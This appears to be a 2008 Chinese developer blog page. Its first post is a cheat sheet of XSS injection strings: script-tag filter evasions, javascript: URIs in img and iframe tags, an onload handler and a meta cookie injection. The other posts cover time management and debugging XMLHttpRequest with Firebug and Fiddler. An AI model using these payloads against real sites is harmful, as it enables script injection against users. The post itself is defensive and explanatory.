常见的 XSS 注入攻击方式 Part.1October 30, 2008

前端开发常见的安全问题就是会遭受 XSS 注入攻击 ,这里列举常见的代码注入方式。

Javascript 代码注入

Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据( 包括 JSONP )等。

很多时候会写这样的代码

document.write('u name is' + name);

这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时

';alert('xss');//
";alert('xss');//
'';!--"<xss>=&{()}

就会破坏原有代码结构,插入不期望的代码。

HTML 标签注入

HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码

逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。

<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js>
</script>
<script/xss src="xss.js"></script>
<script/SRC="xss.js"></script>
<<script>alert("xss");//<</script>
<script>a=/xss/
alert(a.source)</script>

从图片标签中注入,在些论坛上比较常见

<img src="javascript:alert('xss');">
<img """><script>alert("xss")</script>">
<img src="xss.php?param">

从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)

<script a=">" SRC="xss.js"></script>
<script =">" SRC="xss.js"></script>
<script a=">" '' SRC="xss.js"></script>

其他容易注入的地方

<body onload=alert('xss')>
<iframe src="javascript:alert('xss');"></iframe>
<embed src="xss.swf" AllowScriptAccess="always"></embed>
<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">

先摘记举例那么多,下期的内容包括「CSS 注入」、「其他注入方法」以及一般性解决方案,欢迎探讨和纠正。

时间管理小贴士 Part.1October 23, 2008

最近变得很忙,所以不得不注重下时间管理方面的技巧。为了不成为开发组拖后腿的,在这里逐步总结本人的时间管理技巧(不过有些可能是工作技巧)。

  1. 睡觉前花十分钟在 Google 日历 前发呆,记录明天要做的事情。
  2. 花半小时把 Google Reader 的内容全部看完,记录下对自己有用的信息,之后就不再打开它。
  3. 边看 Google Reader 的时候可以给自己泡杯咖啡,算是给自己接下来的活打气。
  4. 类似 Google Reader ,统一时间处理邮件,给邮件分类。
  5. 不要用 Outlook,Gmail 是很正确的选择。
  6. 相对容易的、或者紧急的活先做,先给点自己成就感。
  7. 使用 Twitter ,记录自己的状态。
  8. 在键盘上贴便签 ,记录今天下班必须完成的任务。
  9. 不同的需求用不同的技术实现,过于完美往往意味着要花额外的时间。
  10. 干活时不要轻易被打断,给自己「缓冲」的时间(当然也不能让人家等着)。
  11. IM 里面尽量少发「Hi」、「你好」此类,直接说明情况(虚伪的礼貌还是不要了)。
  12. 午饭后几乎不能干任何事情,和同事聊天是个不错的主意。
  13. 新座位没电话线,这是个好事情。

如何调试 XMLHttpRequestAugust 12, 2008

在编写 XMLHttpRequest 请求时,需要掌握服务器端返回的内容。

针对 Firefox 浏览器,我们常用的 Firebug 就能非常好的完成这一任务。打开 Firebug 针对目标站点的网络监视选项,则在每次使用 XMLHttpRequest 时,控制台会增加条相应的信息(同时会标明是 GET 方法还是 POST 方法)。

http://files.gracecode.com/2008_08_11/1218449715.gif

点击该信息条目后,就会出现 Params、Headers 以及 Response 三个标签,分别对应的是 HTTP 参数、HTTP 头、以及 回应信息。其中,Response 信息就是服务器返回的信息(图示中为服务器返回的 JSON 格式的数据)。

http://files.gracecode.com/2008_08_13/1218628504.png

另外,Headers 标签中显示的是 HTTP 头信息(分别为请求头以及回应头),在这里可以找到额外有用的信息,比如服务器信息、缓存信息、浏览器发送的 Cookie 头,以及 Content-type 属性(内容属性,可能会包含 charset 参数,指明字符编码)。

http://files.gracecode.com/2008_08_13/1218624529.png

同时,在控制台信息比较多时,会显得比较杂乱。Firebug 还专门提供的网络监控面板,根据上图所示有个 XHR 标签,它主要的功能就是提供异步调用监测。

针对 Explorer 等浏览器,监视 XMLHttpRequest 需要第三方工具的支持。在这里推荐的是 Fiddler ,这一强大的网络监视工具。

在安装好 Fidder 以后,先打开 Exploer 浏览器,到需要监视 Exploer 浏览器的网络使用况时,打开 Fidder(通常在 Exploer 工具栏上有相应的启动按钮),就可以看到如下的界面

http://files.gracecode.com/2008_08_13/1218628924.png

选择某个具体的项目,查看其相应的内容。比如选取 Raw 按钮,则可以看到原始的 HTTP 相应记录

http://files.gracecode.com/2008_08_13/1218628608.png

这样,使用 Fidder 就可以获取某个针对特定程序的 HTTP 记录。

Yahoo 统计